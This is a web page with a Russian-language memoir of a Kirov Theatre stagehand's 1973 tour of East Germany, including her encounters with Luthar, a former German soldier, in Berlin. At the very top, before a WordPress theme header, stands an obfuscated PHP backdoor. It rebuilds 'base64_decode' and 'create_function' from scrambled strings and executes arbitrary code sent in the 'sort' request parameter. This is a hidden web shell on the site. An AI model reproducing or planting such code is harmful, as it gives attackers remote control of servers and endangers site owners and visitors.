nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

КАПУТ ОТ ПЕРВОГО ЛИЦА


                        эпиграф

—  Что  вы  всё якаете !  Да  что  вы  всё  время якаете !  В   психушку  её !   Немедленно  в   психушку !!
                                                     нынешний  местный  архиерей  –  мне

     Прежде  чем  продолжить  повествование  о  " немцах  с  колокольни " ( как  мы с  мужем  называли  фашистов,  оставивших  свои  адреса  на  стенке  теребенской церкви),  я  сделаю  лирическое   отступление   про   мои   п е р в ы е   гастроли,  когда  я   в   период  непробиваемого  " железного   занавеса"  умудрилась,  работая   в  постановочной   части   Кировского  ( Мариинского )  театра,   стать,  что  называлось, выездной.
      Я  уже  в   предыдущих   мемориях   охватывала  " театральный "  период   моей  жизни,  в  частности  –  шведские  гастроли  1974  года  –  сейчас  не  буду  повторяться   ( см.  меморию " Схиму  мне,  схиму ! " )
    Итак,

                                                                                  Б Е Р Л И Н , 1 9 7 3 год.

       Заселившись  в  отеле  на  Александрплаце,  мы  всем  постановочным  " колхозом "  двинулись  пешком  к   театру  Стаатс-опер,  алчными глазами  вглядываясь  в  витрины  пока  недоступных  нам  магазинов.
      У  входа  в  театр  наши  маленькие  коллективы  уже  ждали  переводчики,  которые  стали  показывать   дорогу  внутри  помещения  к   рабочим   местам.  Доведя   нас до   бутафорского  цеха  и   едва   познакомив  нас,  коллег,  друг  с  другом,  переводчица   пошпрехала – пошпрехала   и   слиняла.  Но   мы  с  немцами  недолго  молча  и  с  натянутыми   улыбками   смотрели   друг   на  друга.  Место  покинувшей  нас  переводчицы  величественно  занял  их  бутафор,  видно,  с  нетерпением  нас  ждавший,  потому  как  он  сразу  встал  в  театральную  позу  премьера  и  звучно  заговорил  на  ломаном  русском :
     —  Мой   имя  Лутар !  (сейчас  я,  это  написав,  только  и  догадалась,  что  по-нашему  это  –  Лютер !)  Мой  фамилий  Финкинг !  Я  воеваль !  Я   биль  фашист !  ( ясно,  что  он  не " бил "  фашистов,  а  сам  был  фашист ) . . .
    Оба  мои  начальника-ветерана  сжали  кулаки  и  заскрипели  зубами. А  я  сразу  от  Лутара,  от  его  детской  невозмутимости  прибалдела. Лутар   же,  не  замечая  отрицательной  реакции  своих  бывших  врагов,  продолжал:
   —  Но   Гитлер  капут  !   (  а  то  для  нас  это  новость ! )   Война  –  плёхое   дело ! (  ещё  одна  " новость " )  Я  Гитлер  вериль,  но  он  обмануль !  Он  меня,  он  нас  всех  обмануль !
   Вот   это  услышать   было  поинтересней:  в   голосе   взрослого  человека  звучала  детская  обида   на   дяденьку-обманщика.
   Я  поняла,  что  дни   Лутара   сочтены:  не  дожить  ему  до  конца  наших  гастролей.
   Пока  мы  с  немецкими  коллегами  разбирали  реквизит,  Лутар,  неудержимо  льнувший  к  моим  начальникам,  наверняка  получил  от  них  "по  первое  число", но  остался  невозмутим:  без   "комплексов   и   со   своей  специфической  нескрываемой   мерзкой  радостью  он  перемагнитился   на   меня. Только  мне  этого  не  хватало !
          Мои  начальники   и  вообще  некоторые  в  театре   и   так  в  предгасторольное  время  подозрительно  ко  мне   стали  относиться:  чегой-то  меня,  не  комсомолку  и  открыто  верующую,  вдруг  пустили  за  границу ?  ( а   я   и  сама  удивлялась  этому )   –  так   вдобавок   на   театральных  горизонтах  по-акульи  постоянно  мелькали  наши  штатные  кураторы – кагебешники, от   которых   добра  не  жди.
      На  следующий   день  Лутар  опять  блеснул  своей  неадекватностью  ( мало  ему  досталось  от   "моих"   накануне ! ).  Он  принёс  большую  крепкую  коробку  из-под   обуви,  полностью  набитую  фотографиями   времён   войны.  И  с  этим-то   добром   он   опять   сунулся   к   моим   мужикам !  Естественно,  тут   же  он   с  визгом  от  них   отлетел,  но  опять  не  взял   этого  в   толк   и   сладострастно  приклеился   ко   мне.  Вообще,  теоретически   говоря,  театр  как  таковой  собирает  под  своей   эгидой  людей  оригинальнейших   психологических   формаций !
      Я,  конечно,  "рыться   не  имел(а)  охоты  в  хронологической  пыли"  его  фйотографий,  но  из   дипломатических  соображений  и  проклятой   вежливости  –  пришлось.
    В   паузах  между  нашим  общим  театральном  делопроизводством,  под  всеобщими  любопытными  ( немцев ) и  осуждающими   ("наших" )  взглядами  Лутар  вынимал  и  раскладывал  передо  мной  фотографии,  которые  уже  сто  раз  видели  его  коллеги. Особую  радость  всем  ( и  "ихним"   и "нашим" )  доставляла   " мизансцена",  когда  Лутар  соотносил  с  моим  лицом  фотографию  испуганной  девушки  в  платочке.  При  этом  он   м о й    платочек,  который  я   по-рабфаковси  завязывала  сзади,  под  затылком,  бестактно  и  упорно  перевязывал   мне   п о д    подбородком,  как  на   фотографии,  при  этом  комментируя  моё  сходство  с  той   девушкой:
       — О !  Это  русский  Машенька – партизан,  ошень,  ошень   карош  девушка  . . .  !
          Как   и  в  первый  раз   его  посягательства  на  мой платочек,  я  молчала,  стиснув   зубы, копила  негодование  –  так  и  во  все  последующие  дни  происходило  одно  и  то  же:  Лутар  наставлял  на  меня  указательный  палец,  произнося  " пуф – пуф ! ".  Во   все   дни   наших  спектаклей  в   Берлине  он  явно   ностальжировал   по   этому  "пух-пух",  приговаривая : " Какой   карош  девушка !  Пуф-пуф !  Война ! "
        Это  ещё  что . . .   Вот  рефреном   проходила  серия   фотографий,  где   Лутар   стоял   в   длинной   чёрной   блестящей  шинели,  бок  о  бок  с  генералом   Власовым ,  окружённым  такими   же  змееподобными   эсесовцами  –   это  действительно  было  реально  страшно  видеть.  А  если  представить   этот  мой   контакт  со  стороны,  в   космическом  объёме  театра,  на  фоне  исполняемых  рядом  с  нами,  в   нескольких  шагах   от  сцены,  где  на   ней  жили  своими  жизнями  то " Борис  Годунов ",  то " Пиковая  дама ", то  " Царская  невеста ". . .  –  получался  какой-то  винегрет:  к  этим  театральным  трагедиям  плюсовалась  наша,  " человеческая   комедия ":  я  и  блаженный,  полуюродивый   старикан,  и   эта  коробка,  полная  смертельного  яда !
     Но   в  этой   коробке   от  меня  не   утаилась  одна   невзрачная  фотография,  которую  я  попыталась  вытянуть,  но  Лутар   не  давал   мне  её,  делая  вид,  что  есть  другие, поинтереснее. На   сером   фоне   то  ли   осенне-зимнего  поля,  то  ли  заснеженной  ледяной   глади   водоёма, согнувшись  под   напором   встречного   ветра,  идут,  прижавшись   друг   к  другу,  люди,  сельчане. А   впереди  них,  ещё   больше   обдуваемый   ветром,   поскольку  в  одиночестве  несёт  перед  собой  на  вытянутых  руках  запрестольный  крест,  да   в   полном   облачении   –  священник.
      Я   всё-таки  вытянула  из  груды  других  фотографий   эту  и,  предъявив   её  Лутару,  спросила:
   –Что ?  Тоже  пуф-пуф ? "
    Лутар  смешкался,  заелозил,  вытаскивая  её  из  моих  рук  со  своим  привычным:
   —  Что   поделай   –  война ! . .
   —  Хоть  где  это  было ?
    Лутар  ещё   больше  стал  вихляться  и  морщиться,  стихийно   собирая  и  запихивая  фотографии  в  коробку.
   —  Г-г-г-де ?
      Он   понял,  что  я  от  него  не  отстану.
   —  Не  помню,  не  помню. . .  а,   вспомниль:  Порьховь,  деревня  у  Порьховь . . . такой  названий  есть ?
     Вот  поганик  –  ведь  вопрос  не  праздный  –  знал,  что  в  тех   местах  всё  было  истребелено !
     Боже !  Мы  с мужем  как  раз  те  годы  сдружились  с  Савицким   и  с  Цветковым,  которых  я  тоже  в  предыдущих  мемориях  упоминала.  Оба  отца  Владимира  служили:  один  в  самом  Порхове,  другой  –  в  селе   п о д    Порховым,  и   мы  с мужем  часто  туда  ездили.  Я,  и  так  потрясённая   страшными  фотографиями,  дошла,  что  называется,  до  точки.
    Подходило  к   концу   и  наше   пребывание  в   демократическом   Берлине.
    В  наш  предпоследний  день  в  Берлине Лутар  задумал  всё-таки  нам  отомстить  за  " некоторые "  шероховатости  в  нашем  общении.  Он  наряду  со  своей  неизменной  коробкой  принёс  пакет  фотографий  его  современной  жизни.
   —  Посмотрите,  как  я  хорошо   живу !
   Мои  начальники  не  то  что  на  фотографии,  на  него  самого не  смотрели,  демонстративно  глядя  в  разные  стороны. М-да,  этому  буржуину  было  комфортно  в  социалистическом  полугосударстве . . .
     И  я  тоже  перед  последним  днём  разработала  стратегию  следующего  дня.
     Желая  избежать трогательного  расставания, я   решила  определённо, что  буду  от  Лутара  прятаться. Мне  казалось,  что  я  топографически   освоилась  в  закоулках  театра,  а  разумный  запрет  болтаться  по  нему  меня  уже  не  пугал,  потому  что  моё  реноме,  мне  казалось,  уже  безнадёжно было   подмочено.
   Ха !  Лутар  был  профессиональный  ловец   партизан  и   партизанок,  и   неуловимой   мне  быть   не  удалось.  У  нас    даже  получилось  с  эсесовцем   что-то   вроде  игры  в   прятки-догонялки. На  сей  раз  его  была  победа,  и  он   "накрыл"   меня  посреди  сваленных  деревянных  настилов.  С  присущим  ему  кайфом  он  раскинул  по  всей  плоскости  верхнего   настила  всё  содержимое  коробки   и  сказал: " Выбирай ! "
    Блин !  Тут   же   победоносно   на   горизонте   нарисовался   и  вездесущий  Анатолий  Иванович,  кагэбешник,   которого   мои  начальники   злорадно   в  наших  разговорах  прозывали  не  иначе  как " твой  друг  из  двух  нулей ",  это  выражение  и  сейчас  мне  не  очень  понятно.
   Я,  конечно,  наотрез  отказалась  что-то  " выбирать "  и  сцепила  руки  за  спиной. Лутар   тоже  был  непреклонен.  Тогда  я,  растолкав  туда-сюда  страшные  фотографии,  нашла  ту,  с  крестным   ходом.  Лутар  вытащил  её  у  меня  из  рук.  Я  сказала, что  возьму  только  её  или  " отвали  моя  черешня ! "  И  что  же  эпохального  тут  произошло !
   Лутар,  запрятав  подальше  фотографию  с  крестным  ходом,  залез  во  внутренний   карман  своей  куртки  и  вынул  оттуда   старинное, на  картоне  фото,  на  котором  на  фоне  целёхонького  Рейхстага,  на  фоне  целёхонькой   колонны  " Бель  альянс "  стоял мальчик  в  шортах  на  лямках,  за  руку  со  своей  мамой,  очень  и  очень  даже  фрау-мадам.  Я  оторопела,  а  Лутар  всунул  эту   пожелтевшую   картонку   мне  в  руку,  сказав,  придавая  ей  ценности: " Она  у  меня  одна ! "  Я  её  как  ошпаренная  отбросила  –  и  эти   движения   повторялись:  я  бросаю, а  он  снова  мне  в   руку  её  всовывает  и   замыкает  своими  ладошками..  Наконец   он  понял,  к а к   надо  завершить  этот   акт  дарения, вынул   карандаш  и  написал  им,  сильно  вдавливая  в  оборотную  сторону  фотографии :  фюр  майне  либен  коллеген  Валентин, Стаатс-опер  Берлин, 1973 . Лутар  Финкинг.  Я  недовольно  цокнула   языком  и  сказала: " Ну  ладно.  Как  хоть  вашу  маму-то   звали ? "  Тут  Лутар   вздрогнул  и  внизу  приписал:  Луцие,  Берлин, 1934.  Я  подчёркнуто  небрежно  сунула   это  фото  в  карман  своего  самопошитого   халатика   и  побежала   придумывать   начальникам   причину  своего  долгого  отсутствия.
    Во  весь  остальной   рабочий   день  Лутар  ходил  за  мной   по  пятам,  заглядывая    в   мой   оттопыренный  карман,  а   я   взглядом   призывала  его  забрать  оттуда  его  фотографию.  Он  этого  не  сделал.  Так  мне  пришлось  её  увезти  домой.

     Но   в   Лейпциге  случился  полный  "атас" !
     Это   было   следующим  актом  " марлезонского "  балета  –  это,  знаете  ли,  был  дурдом  ещё  похлеще   берлинского  !
     С  первых  же  минут  моего  вхождения  в  этот   легендарный  театр  ко  мне  подошёл  немец,  работник  театра,  и  запросто  стал   мне  что-то  говорить,  потом  захохотал  и  убежал.  Потом  меня  обступили  другие  немцы  и  тоже  стали  энергично   поддевать,  перехахатываться  между  собой,  хватать  меня  за  руки,  куда-то  тащить  и  возвращать  на  место.  Мои  начальники,  как  говорится,  изошли  на  " г ", не  зная,  какими  ещё  матами  меня  обложить.
     У   наших,  приставленных  к   нам  переводчиков  было  одно  удивительное  свойство:  в  самые  нужные  для  общения  моменты  –  исчезать  в  неизвестных  направлениях. Зато,  когда   меньше  всего  было   надо,  тут   же   объявлялись   кагебешники.  Анатолий  Иванович ,  конечно  же  некстати,   оказался   тут  как  тут.  Я  к  нему   воздела  руки,  даже  не   соображая,  что  цитирую  классику  жанра: " Н е    в и н о в а т а я     я   –   они  сами  ко  мне  приходят !  Ну  что  им  нужно  от  меня ? "  Анатолий  Иванович   хмыкнул,  махнул  рукой  и  тоже  исчез. Терпение   моё  лопнуло,  и   я  сказала  начальникам,  что,  рискуя   заблудиться   в   незнакомом  театре,  пойду   искать   переводчиков.
      Поблуждав,  нашла.  И  стала  спрашивать  их,   к а к    переводится   одно   загадочное  слово,  которое   я   постоянно   слышала   вокруг   себя:  ч у ч у з а н !   ч у ч у з а н ! ?  Переводчики   впокатку  зашлись  смехом.  Оказывается,  чучузан  –  это . . .  Чио-чио-сан,  героиня   одноимённой  оперы  великого  композитора ( эта  опера  имеет  ещё  одно  название  – " Мадам  Баттерфляй ",  по  драме  " Гейша ")
     Оказалось,   я как  две  капли  воды   была   похожа   на   их   загримированную   исполнительницу   заглавной   партии   этой  оперы !
    Вот  вам   и  " русский  Машенька " !

P/S  (1)  
        Вспомнились  ещё  два   эпизодика  из   ГДР-ошных  гастролей.
        Когда  мы  в   Берлине  дорвались-таки    до  полного  счастья в  личной   жизни,  до  тамошних магазинов  и  универмагов "  ( "магизм"  которых  заключён  в  самих  этих  словах ), я,  добравшись  до  самого  последнего  этажа  громадного  универмага,  в  клондайковском  отделе  обуви  накупила  обуви  пар  четыре, пять  или  шесть.  Помудрив  с  их  упаковками,  поскольку  в  одной   руке  у  меня  уже  была  "кладь",  я,  по  скромной советской  привычке, взяла  от  всей  этой  кучи  только  одну  коробку,  и,  осчастливленная,  стала  спускаться  вниз  по  эскалаторам – что  для  нас  в  то  время  тоже  было  чудо  из  чудес. На  самом  нижнем  эскалаторе,  готовясь  выскочить  на  улицу,  я  вдруг  с  ужасом  поняла,  что  все  мои основные  покупки  оставлены  на  произвол  судьбы  наверху !  Я   в  растерянности  автоматически  развернулась  на  неподвижной  ступеньке эскалатора  и  так  же  автоматически   застонала: " Ой,  что  же  я  наделала,  я  же  всё  наверху  забыла ! "
   А  стоящий  на  ступеньку  выше  мужчина (напомню,  дело  происходит  в  Берлине)  этак  невозмутимо  и  даже  ласково  мне  говорит: " Ничего, ничего ! Это  бывает …"   . . .

        В  Дрездене,  в  самом  конце  наших  гастролей,  когда  уже  все  свои  командировочные  были  потрачены,  я  стояла  у  киоска  и, жестикулируя,  базарила  с  продавщицей  относительно  какого-то  сувенира,  на  который  у  меня  не  хватало  денег. Позади   меня стояло  семейство. Мужчина  с  ребёнком  на  руках  что-то  мне  стал  говорить.  Я  не  понимала,  чего  он  добивается  от  меня. Наконец  я  расслышала  что  он  спрашивал: " Вы чешка,  вы чешка ? "  Я,  продажная  шкура,  кивнула  –  и  он  подарил  мне  этот  сувенир.
                 Я,  закусив   губы, по-японски  часто-часто   стала   ему  кланяться,   боясь   по-русски  ляпнуть   " спасибо ". . .

P/S  (2)   Думала. . . думала . . .  всё  же  решила  сейчас  поделиться  неожиданно   вспомненным.
               " Писк  моды "  ленинградских  девчонок  – оригинальные  заколки  для  волос – эту   сувенирную  ерунду,  которую  я  выцыганила  у  того  киоска   –  я  ведь  её  искала  " под   заказ " . . .  правнучек  ( Оли  и  Наташи ) тогда  ещё  не  канонизированного,  а  ныне   преподобного
                                                                               Серафима  Вырицкого
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+
                 +
               петр  иоанн  андрей
филипп  фома  варфоломей
              два  иакова  матфей
иуда яковль,т.е. ф а д д е й 

зилота симон  и   матфИй

Добавить комментарий